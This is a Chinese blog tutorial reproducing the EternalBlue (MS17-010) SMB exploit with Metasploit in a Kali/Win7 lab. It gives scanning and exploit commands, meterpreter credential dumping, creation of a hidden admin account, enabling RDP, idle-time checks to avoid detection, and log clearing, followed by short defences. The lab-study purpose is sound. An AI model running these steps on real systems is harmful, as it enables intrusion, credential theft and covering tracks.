永恒之蓝漏洞

本文详细介绍了永恒之蓝漏洞的原理、利用过程,涉及SMB协议、漏洞成因、环境复现、利用工具如Metasploit,以及如何防御和修复这一Windows系统安全威胁。

永恒之蓝

一、永恒之蓝概述

​ 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。

​ “永恒之蓝”可远程攻击Windows的445端口(文件共享),如果系统没有安装今年3月的微软补丁(MS17-010),无需用户任何操作,只要开机上网,“永恒之蓝”就能在电脑里执行任意代码,植入勒索病毒等恶意程序。

二、漏洞原理

1、SMB协议

​ SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口TCP445端口

2、漏洞成因

漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出

函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。

然后会进行如下操作:

  1. srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
  2. 因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大
  3. 因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出

3、受影响版本:

目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

三、环境介绍

  • 攻击机: kali虚拟机,

  • 靶机: win7(启用文件共享和网络发现服务;关闭防火墙;关闭公用网络设置)

  • 工具:Kali中的nmap metasploit(MSF)

  • Win7 和 kali 桥接到同一局域网中

四、漏洞复现

0、环境确认

查看 kali IP地址:ifconfig

**image-20231221121625705**

查看 win7 IP地址:ipconfig

image-20231221140732064

关闭win7防火墙

image-20231221140814905

判断连通性

ping win-IP

image-20231221140841087

1、主机发现

发现网段内的在线主机和开放的端口,扫出来端口135、139和445 是开放的,如果没有开启防火墙的状况下是可以直接利用的。

方法一 、Namp

查看在线主机

nmap -sP 192.168.0.0/24

image-20231221141135011

端口扫描

nmap -sT 192.168.0.172   #sT(使用TCP进行扫描)

image-20231221141840725

方法二、metasploit(MSF)

查看在线主机

sudo su
msfconsole                                 //启动MSF
use auxiliary/scanner/discovery/arp_sweep  //use使用模块
set rhosts 192.168.0.0/24   //设置扫描网段
set threads 30             //提高线程
run                        //运行 

image-20231221142153034

端口扫描

use auxiliary/scanner/portscan/tcp   //使用模块
set rhosts 192.168.0.172   //设置远程ip
run

image-20231221142108541

2、利用模块

MSF 搜索永恒之蓝的漏洞 输入search ms17-010 (微软 永恒之蓝编号ms17-010)

image-20231221142742096

  1. blue就是永恒之蓝的漏洞
  2. psexec是可利用的一个javascripe(JS)的一个模块
  3. command是运行cmd的
  4. 最后一个是探测的模块

a.先利用探测的模块看一下我们的这台win7有没有可能存在漏洞。

use auxiliary/scanner/smb/smb_ms17_010  //使用模块 use 3也可以
show options   //查看要配置的参数
set rhosts 192.168.0.172   //设置远程ip
run                    //运行

image-20231221142907204

b.再利用永恒之蓝的模块

use exploit/windows/smb/ms17_010_eternalblue
show options  #利用show options查看要配置的参数情况
set rhosts 192.168.0.172
exploit/run

image-20231221143014265

配置好参数通过run或exploit启动脚本,看见meterpreter就是利用成功。

image-20231221143034498

3、漏洞利用

利用成功后,我们可以做以下的操作
1.可以使用截屏命令screenshot截取漏洞机页

image-20231221143347904

2.还可以利用upload和download上传和下载文件

image-20231221144044925

image-20231221144218196

3.查看密码

kiwi模块查看密码:

load kiwi   #加载kiwi模块
creds_all  #列举所有凭据

image-20231221150011591

4、获得管理员shell

可通过shell命令进入漏洞机管理员命令行,如果命令行乱码可用 chcp 65001调编码成UTF-8,chcp 936是改成GBK。

image-20231221150245270

image-20231221150258510

image-20231221150637261

创建用户

由于这样远程登录win7用户A,在win7会把用户A顶下去:所以我们要创建一个新用户用来登录:
net user hack 123 /add         #hack 密码123
net  localgroup  administrators hack /add #将用户kill添加到Win7的本地管理员组中,获得管理员权限
net user               #查看用户

远程桌面

打开3389端口:

方法 一:

meterpreter

meterpreter > run post/windows/manage/enable_rdp  //启用目标主机的3389端口远程桌面
meterpreter > idletime  //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。

image-20231221153701444

方法二:

shell

//打开3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

//关闭3389端口命令,只要把0变成1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 1 /f

kali rdesktop命令远程登陆靶机

root@kali:~# rdesktop 192.168.0.172  //使用 rdesktop 命令远程连接桌面

5、清除日志

clearev

五、漏洞防御

  • 禁用SMB1协议
  • 打开Windows Update,或手动安装补丁
  • 使用防火墙阻止445端口的连接,或者使用进/出站规则阻止445端口的连接
  • 不要随意打开陌生的文件
  • 安装杀毒软件,及时更新病毒库

参考1:永恒之蓝漏洞复现

参考2:Kali–MSF-永恒之蓝详解(复现、演示、远程、后门、加壳、修复)!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值